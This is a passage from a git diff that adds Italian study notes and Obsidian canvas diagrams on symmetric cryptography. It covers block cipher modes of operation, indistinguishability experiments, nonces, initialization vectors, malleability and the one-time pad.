+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"ceb56ed3d87a448c","x":-114,"y":110,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"15cffa4cd12ef9f9","x":-580,"y":340,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"10adf270090501ea","x":-114,"y":340,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"2dc4b34b669686ca","x":-114,"y":480,"width":400,"height":50,"color":"4"},
+		{"type":"text","text":"# concatenamento","id":"9075786fe2194e82","x":-114,"y":-20,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce.md","id":"54a3019f4fef0731","x":-380,"y":-150,"width":400,"height":50,"color":"2"},
+		{"type":"text","text":"# numero di blocco `0`","id":"4d1dbc62bd8d726c","x":160,"y":-150,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce.md","id":"70275b07281dca12","x":900,"y":660,"width":400,"height":50,"color":"2"},
+		{"type":"text","text":"# concatenamento","id":"2f06971ff4ea6273","x":1166,"y":790,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"7376236cb1a687a6","x":1166,"y":920,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"fdf2edac81fe7f8e","x":700,"y":965,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"5d26bfce52dca541","x":700,"y":1150,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"5977588b4a91c633","x":1166,"y":1150,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"9590c207e23a62c3","x":1166,"y":1290,"width":400,"height":50,"color":"4"},
+		{"type":"text","text":"# numero di blocco `1`","id":"ef9d1df656ea348e","x":1440,"y":660,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce.md","id":"43066266a07f8904","x":2140,"y":1460,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"3b6faf273fa89ead","x":1940,"y":1765,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"6095efed6d272bb0","x":1940,"y":1950,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"af49a090d23bbe0b","x":2406,"y":1950,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"18dd6fe6876930be","x":2406,"y":2090,"width":400,"height":50,"color":"4"},
+		{"type":"text","text":"# concatenamento","id":"9b80264656daa499","x":2406,"y":1590,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"0e2cca42b6f25157","x":2406,"y":1720,"width":400,"height":140,"color":"1"},
+		{"type":"text","text":"# numero di blocco `2`","id":"45706c8ee9fc7680","x":2680,"y":1460,"width":400,"height":50,"color":"2"}
+	],
+	"edges":[
+		{"id":"67710f4f0376f650","fromNode":"9877bbe3ff78bae6","fromSide":"right","toNode":"ceb56ed3d87a448c","toSide":"left","color":"6"},
+		{"id":"c63c5c5ed9654515","fromNode":"ceb56ed3d87a448c","fromSide":"bottom","toNode":"10adf270090501ea","toSide":"top","color":"2"},
+		{"id":"944fc343ff953833","fromNode":"15cffa4cd12ef9f9","fromSide":"right","toNode":"10adf270090501ea","toSide":"left","color":"3"},
+		{"id":"c945a09c598c8bed","fromNode":"10adf270090501ea","fromSide":"bottom","toNode":"2dc4b34b669686ca","toSide":"top","color":"4"},
+		{"id":"e5e4a89c9861ff74","fromNode":"54a3019f4fef0731","fromSide":"bottom","toNode":"9075786fe2194e82","toSide":"left","color":"2"},
+		{"id":"f15c2d41118c7a37","fromNode":"4d1dbc62bd8d726c","fromSide":"bottom","toNode":"9075786fe2194e82","toSide":"right","color":"2"},
+		{"id":"37c1495e250143f2","fromNode":"9075786fe2194e82","fromSide":"bottom","toNode":"ceb56ed3d87a448c","toSide":"top","color":"2"},
+		{"id":"6a3ecff92625e478","fromNode":"fdf2edac81fe7f8e","fromSide":"right","toNode":"7376236cb1a687a6","toSide":"left","color":"6"},
+		{"id":"4ea2cb049b3ab8c0","fromNode":"7376236cb1a687a6","fromSide":"bottom","toNode":"5977588b4a91c633","toSide":"top","color":"2"},
+		{"id":"f01e5867d51d9793","fromNode":"2f06971ff4ea6273","fromSide":"bottom","toNode":"7376236cb1a687a6","toSide":"top","color":"2"},
+		{"id":"a7578c56cae026eb","fromNode":"5d26bfce52dca541","fromSide":"right","toNode":"5977588b4a91c633","toSide":"left","color":"3"},
+		{"id":"21ea45126bbb9726","fromNode":"5977588b4a91c633","fromSide":"bottom","toNode":"9590c207e23a62c3","toSide":"top","color":"4"},
+		{"id":"4360c49cbb985e0e","fromNode":"70275b07281dca12","fromSide":"bottom","toNode":"2f06971ff4ea6273","toSide":"left","color":"2"},
+		{"id":"1e866fcc44744038","fromNode":"ef9d1df656ea348e","fromSide":"bottom","toNode":"2f06971ff4ea6273","toSide":"right","color":"2"},
+		{"id":"b16dfc81db424fa1","fromNode":"3b6faf273fa89ead","fromSide":"right","toNode":"0e2cca42b6f25157","toSide":"left","color":"6"},
+		{"id":"e5218a1ba9ca47a3","fromNode":"6095efed6d272bb0","fromSide":"right","toNode":"af49a090d23bbe0b","toSide":"left","color":"3"},
+		{"id":"6572f3c71f34e996","fromNode":"0e2cca42b6f25157","fromSide":"bottom","toNode":"af49a090d23bbe0b","toSide":"top","color":"2"},
+		{"id":"e87a290dcab02287","fromNode":"9b80264656daa499","fromSide":"bottom","toNode":"0e2cca42b6f25157","toSide":"top","color":"2"},
+		{"id":"eb49f964d9a6391a","fromNode":"af49a090d23bbe0b","fromSide":"bottom","toNode":"18dd6fe6876930be","toSide":"top","color":"4"},
+		{"id":"1e427c87cb95a20e","fromNode":"43066266a07f8904","fromSide":"bottom","toNode":"9b80264656daa499","toSide":"left","color":"2"},
+		{"id":"49491bb184fd6866","fromNode":"45706c8ee9fc7680","fromSide":"bottom","toNode":"9b80264656daa499","toSide":"right","color":"2"},
+		{"id":"19baceac6c9cf327","fromNode":"4d1dbc62bd8d726c","fromSide":"right","toNode":"ef9d1df656ea348e","toSide":"top","color":"2"},
+		{"id":"79f2b9072988bf86","fromNode":"ef9d1df656ea348e","fromSide":"right","toNode":"45706c8ee9fc7680","toSide":"top","color":"2"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/counter operation mode.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/counter operation mode.md
new file mode 100644
index 0000000..17fc4c5
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/counter operation mode.md	
@@ -0,0 +1,15 @@
+[[operation mode di un cifrario a blocchi]].
+
+## Funzionamento
+
+1. usa la chiave simmetrica per determinare la keyed family of pseudo-random permutations da utilizzare
+2. concatena un [[nonce]] ad un contatore di blocchi processati
+3. fornisce il valore precedente alla keyed family of pseudo-random permutations selezionata
+4. effettua lo XOR del risultato della permutazione con il plaintext
+5. lo emette come risultato del blocco
+
+> Dato che si basa su un nonce che aumenta per ogni blocco, è sostanzialmente un [[cifrario a flusso]] implementato attraverso un cifrario a blocchi.
+
+## Diagramma
+
+![[counter operation mode.canvas]]
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/crittografia simmetrica moderna.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/crittografia simmetrica moderna.md
new file mode 100644
index 0000000..ceede94
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/crittografia simmetrica moderna.md	
@@ -0,0 +1,5 @@
+[[problema|Problema]] di [[comunicazione simmetrica]] in cui si vogliono mantenere [[indistinguibilità|indistinguibili]] uno o più [[ciphertext]].
+
+Le [[funzione|funzioni]] utilizzate sono **pubbliche**.
+
+Una singola [[chiave simmetrica]] **segreta** è conosciuta da tutta la [[squadra blu]], ma non dalla [[squadra rossa]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/determinismo dell'initialization vector.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/determinismo dell'initialization vector.md
new file mode 100644
index 0000000..19b3d34
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/determinismo dell'initialization vector.md	
@@ -0,0 +1 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] di un protocollo di [[crittografia simmetrica moderna]] che si presenta quando l'[[initialization vector]] non è selezionato in modo [[casualità crittografica|imprevedibile]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/deterministic pseudo-random bitstring generator.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/deterministic pseudo-random bitstring generator.md
new file mode 100644
index 0000000..6c66048
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/deterministic pseudo-random bitstring generator.md	
@@ -0,0 +1,7 @@
+[[funzione ideale]] che:
+- **consuma** un piccolo [[blob]] [[casualità crittografica|casuale]].
+- **emette** una sequenza periodica di [[blob]] considerabili [[casualità crittografica|casuali]] a condizione che:
+	- l'input rimanga segreto
+	- non venga superato il periodo della sequenza
+
+> È praticamente un piccolo [[pseudo-random number generator|PRNG]] usato per la crittografia!
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/distinguibilità degli errori di padding.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/distinguibilità degli errori di padding.md
new file mode 100644
index 0000000..63b5905
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/distinguibilità degli errori di padding.md	
@@ -0,0 +1 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] di un [[funzione|protocollo]] di [[crittografia moderna]] che si verifica quando la [[funzione di decifratura]] permette di distinguere gli errori di [[padding]] dagli errori di decifratura generici.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/electronic codebook operation mode.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/electronic codebook operation mode.canvas
new file mode 100644
index 0000000..4530a75
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/electronic codebook operation mode.canvas	
@@ -0,0 +1,30 @@
+{
+	"nodes":[
+		{"type":"group","id":"aff1540344aec5dc","x":-600,"y":-40,"width":906,"height":450,"label":"Blocco #1"},
+		{"type":"group","id":"5f129b27371d2003","x":360,"y":480,"width":906,"height":450,"label":"Blocco #2"},
+		{"type":"group","id":"4a77478dbe8b3469","x":1360,"y":1000,"width":906,"height":450,"label":"Blocco #3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"9877bbe3ff78bae6","x":-580,"y":155,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"ceb56ed3d87a448c","x":-114,"y":110,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"f6a5be7e48515ae7","x":-114,"y":-20,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"e5cbf46b321559ad","x":-114,"y":340,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"265cc48343dc9659","x":846,"y":500,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"1736fbdac57911f1","x":846,"y":630,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"8a8b6d763e9ef277","x":380,"y":675,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"b4acb55736a4fde0","x":846,"y":860,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"47827686eb6dbf2d","x":1846,"y":1020,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"8de0c70597b0bf2f","x":1846,"y":1150,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"3770eaf1a47b874a","x":1380,"y":1195,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"bce39e17cf1752be","x":1846,"y":1380,"width":400,"height":50,"color":"4"}
+	],
+	"edges":[
+		{"id":"22e3f7b4eb12378d","fromNode":"f6a5be7e48515ae7","fromSide":"bottom","toNode":"ceb56ed3d87a448c","toSide":"top","color":"3"},
+		{"id":"3a68ae4c18b31f4e","fromNode":"ceb56ed3d87a448c","fromSide":"bottom","toNode":"e5cbf46b321559ad","toSide":"top","color":"4"},
+		{"id":"67710f4f0376f650","fromNode":"9877bbe3ff78bae6","fromSide":"right","toNode":"ceb56ed3d87a448c","toSide":"left","color":"6"},
+		{"id":"859362399ca551cc","fromNode":"8a8b6d763e9ef277","fromSide":"right","toNode":"1736fbdac57911f1","toSide":"left","color":"6"},
+		{"id":"d49babd4b473beb8","fromNode":"1736fbdac57911f1","fromSide":"bottom","toNode":"b4acb55736a4fde0","toSide":"top","color":"4"},
+		{"id":"4ddc9349b3fe59d7","fromNode":"265cc48343dc9659","fromSide":"bottom","toNode":"1736fbdac57911f1","toSide":"top","color":"3"},
+		{"id":"712c0074d99f94fb","fromNode":"3770eaf1a47b874a","fromSide":"right","toNode":"8de0c70597b0bf2f","toSide":"left","color":"6"},
+		{"id":"0ab42836e3d8f9ad","fromNode":"8de0c70597b0bf2f","fromSide":"bottom","toNode":"bce39e17cf1752be","toSide":"top","color":"4"},
+		{"id":"6fc73b3c5c075c0c","fromNode":"47827686eb6dbf2d","fromSide":"bottom","toNode":"8de0c70597b0bf2f","toSide":"top","color":"3"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/electronic codebook operation mode.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/electronic codebook operation mode.md
new file mode 100644
index 0000000..41fd548
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/electronic codebook operation mode.md	
@@ -0,0 +1,7 @@
+[[operation mode di un cifrario a blocchi]] che riutilizza la chiave per la codifica di ciascun [[blocco]].
+
+È equivalente a un [[cifrario a sostituzione]], e quindi con grossi problemi di sicurezza per la maggior parte delle applicazioni.
+
+## Diagramma
+
+![[electronic codebook operation mode.canvas]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-COA.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-COA.md
new file mode 100644
index 0000000..319a157
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-COA.md	
@@ -0,0 +1,16 @@
+[[esperimento|Esperimento]] che verifica l'[[indistinguibilità]] di un messaggio da un [[ciphertext-only attacker]].
+
+## Sfida
+
+1. Il [[sfidante|mittente]] sceglie un [[plaintext]] arbitrario.
+2. Vi applica la [[funzione di cifratura]].
+3. Sceglie con uguale probabilità di inviare uno dei seguenti messaggi:
+	- Il [[ciphertext]].
+	- Un [[blob]] di dati [[casualità crittografica|casuali]] della stessa lunghezza del [[ciphertext]].
+4. Comunica il messaggio scelto all'[[avversario]].
+
+### Condizioni di vittoria
+
+- ⭐ Se l'avversario è in grado di determinare la scelta effettuata dallo sfidante **al massimo il 50% delle volte**, si ha [[indistinguibilità]] [[garanzia perfetta|perfetta]].
+- ✅ Se l'avversario è in grado di determinare la scelta effettuata dallo sfidante **al massimo il 50% più una piccola percentuale trascursabile delle volte**, si ha [[indistinguibilità]] [[garanzia computazionale|computazionale]].
+- ❌ Se l'avversario è in grado di determinare la scelta effettuata dallo sfidante **più del 50% delle volte**, l'[[indistinguibilità]] non sussiste.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-CPA.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-CPA.md
new file mode 100644
index 0000000..dcf31e9
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-CPA.md	
@@ -0,0 +1,17 @@
+[[esperimento]] che verifica l'[[indistinguibilità]] di un messaggio da un [[chosen-plaintext attacker]].
+
+## Sfida
+
+1. L'[[avversario]] sceglie un [[plaintext]] arbitrario.
+2. Lo comunica allo [[sfidante]].
+3. Lo sfidante vi applica la [[funzione di cifratura]] con la sua [[chiave simmetrica]].
+3. Sceglie con uguale probabilità di inviare uno dei seguenti messaggi:
+	- Il [[ciphertext]].
+	- Un [[blob]] di dati [[casualità crittografica|casuali]] della stessa lunghezza del [[ciphertext]].
+4. Comunica il messaggio scelto all'[[avversario]].
+
+### Condizioni di vittoria
+
+- ⭐ Se l'avversario è in grado di determinare la scelta effettuata dallo sfidante **al massimo il 50% delle volte**, si ha [[indistinguibilità]] [[garanzia perfetta|perfetta]].
+- ✅ Se l'avversario è in grado di determinare la scelta effettuata dallo sfidante **al massimo il 50% più una piccola percentuale trascursabile delle volte**, si ha [[indistinguibilità]] [[garanzia computazionale|computazionale]].
+- ❌ Se l'avversario è in grado di determinare la scelta effettuata dallo sfidante **più del 50% delle volte**, l'[[indistinguibilità]] non sussiste.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-DCPA.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-DCPA.md
new file mode 100644
index 0000000..fd3980a
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-DCPA.md	
@@ -0,0 +1 @@
+Variante dell'[[esperimento IND-CPA]] in cui il [[chosen-plaintext attacker]] non può far cifrare più volte lo stesso [[plaintext]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/famiglia di funzioni pseudo-casuali.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/famiglia di funzioni pseudo-casuali.md
new file mode 100644
index 0000000..9009c4f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/famiglia di funzioni pseudo-casuali.md	
@@ -0,0 +1,16 @@
+---
+aliases: ["PRF"]
+---
+
+[[Funzione ideale]] per i problemi di [[crittografia moderna]].
+- consuma una [[chiave simmetrica]]
+- emette una coppia di funzioni che convertono il [[plaintext]] in un [[ciphertext]] indistinguibile da un blob casuale e viceversa.
+
+```python
+def pseudorandomfamily(key):
+	def encrypt(plaintext) -> ciphertext:
+		...
+	def decrypt(ciphertext) -> plaintext:
+		...
+	return encrypt, decrypt
+```
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/initialization vector.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/initialization vector.md
new file mode 100644
index 0000000..e9e6ac6
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/initialization vector.md	
@@ -0,0 +1 @@
+[[blob]] pubblico di cui è importante la [[casualità crittografica|casualità]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/key recovery.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/key recovery.md
new file mode 100644
index 0000000..6d7ad99
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/key recovery.md	
@@ -0,0 +1 @@
+[[Violazione]] in cui l'[[avversario]] ottiene accesso alla [[chiave simmetrica]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md
new file mode 100644
index 0000000..505b426
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md	
@@ -0,0 +1,8 @@
+---
+aliases: ["PRP"]
+---
+
+[[funzione ideale]] che:
+- **consuma** un piccolo [[blob]] [[casualità crittografica|casuale]], e un [[alfabeto]].
+- **emette** una delle possibili funzioni che permutano l'[[alfabeto]]
+	- il risultato ottenuto ha lo stesso livello di [[entropia]] dell'input
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keystream.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keystream.md
new file mode 100644
index 0000000..f9b833d
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keystream.md	
@@ -0,0 +1 @@
+Output di un [[deterministic pseudo-random bitstring generator]] utilizzato in un [[cifrario a flusso]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/limite di dati cifrabili.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/limite di dati cifrabili.md
new file mode 100644
index 0000000..e5f9200
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/limite di dati cifrabili.md	
@@ -0,0 +1,5 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] di alcune [[funzione|funzioni]] che ne annulla le garanzie di sicurezza se viene cifrata una quantità eccessiva di dati.
+
+Tipicamente, una conseguenza della suscettibilità al [[riutilizzo di nonce]].
+
+Per eliminarla, è sufficiente cambiare la chiave prima di raggiungere il limite.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dei cifrari a flusso.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dei cifrari a flusso.md
new file mode 100644
index 0000000..bd80888
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dei cifrari a flusso.md	
@@ -0,0 +1 @@
+I [[ciphertext]] dei [[cifrario a flusso]] sono [[malleabilità|malleabili]] [[malleabilità dell'one-time pad|esattamente come gli one-time pad]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dell'one-time pad.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dell'one-time pad.md
new file mode 100644
index 0000000..f222a9e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dell'one-time pad.md	
@@ -0,0 +1,12 @@
+I [[ciphertext]] dell'[[one-time pad]] sono [[malleabilità|malleabili]] per via della associazione tra operando dello [[XOR]] e risultato.
+
+| Dato        | $p_3$ | $p_2$ | $p_1$ | $p_0$ |
+|-------------|-------|-------|-------|-------|
+|   Plaintext | 0     | 0     | 0     | 1     |
+|      Chiave | 1     | 1     | 0     | 1     |
+|  Ciphertext | 1     | 1     | 0     | 0     |
+|     Attacco | 1     | 0     | 0     | 0     |
+| Ciphertext' | 0     | 1     | 0     | 0     |
+|      Chiave | 1     | 1     | 0     | 1     |
+|  Plaintext' | 1     | 0     | 0     | 1     |
+
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità.md
new file mode 100644
index 0000000..b90d89b
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità.md	
@@ -0,0 +1 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] di alcuni [[protocollo|protocolli crittografici]] che permette all'avversario di alterare il [[plaintext]] ricevuto dal destinatario modificando il [[ciphertext]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/manipolazione dell'initialization vector.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/manipolazione dell'initialization vector.md
new file mode 100644
index 0000000..0bdfdc8
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/manipolazione dell'initialization vector.md	
@@ -0,0 +1,3 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] di un protocollo basato su [[initialization vector]].
+
+Dato che l'[[initialization vector]] è pubblico, esso può essere manipolato da un [[non-adaptive chosen-ciphertext attacker]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/non-uniforme.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/non-uniforme.md
new file mode 100644
index 0000000..fe63b82
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/non-uniforme.md	
@@ -0,0 +1 @@
+[[Dato]] dalla dimensione variabile.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce → initialization vector.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce → initialization vector.md
new file mode 100644
index 0000000..a901d40
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce → initialization vector.md	
@@ -0,0 +1 @@
+È possibile convertire un [[nonce]] in un [[initialization vector]] dandolo come input ad un [[cifrario a blocchi]] in [[electronic codebook operation mode]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce.md
new file mode 100644
index 0000000..64c7f8e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["number used once"]
+---
+
+[[blob]] pubblico che non deve mai ripetersi perchè le garanzie di sicurezza dell'algoritmo siano valide.
+
+Viene incrementato ad ogni messaggio inviato in modo tale che la [[chiave simmetrica]] sia sempre diversa.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/one-time pad.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/one-time pad.md
new file mode 100644
index 0000000..7ae0c0e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/one-time pad.md	
@@ -0,0 +1,16 @@
+[[funzione]] che implementa una [[famiglia di funzioni pseudo-casuali]] in modo semplice ed efficiente, ma [[malleabilità|malleabile]] ed [[riutilizzo di chiavi nell'one-time pad|efficace per un singolo messaggio]].
+
+## Funzionamento
+
+L'*one-time pad* si basa sull'invertibilità della funzione logica [[XOR]].
+
+```python
+def onetimepad(key):
+	def encrypt(plaintext) -> ciphertext:
+		return key ^ plaintext
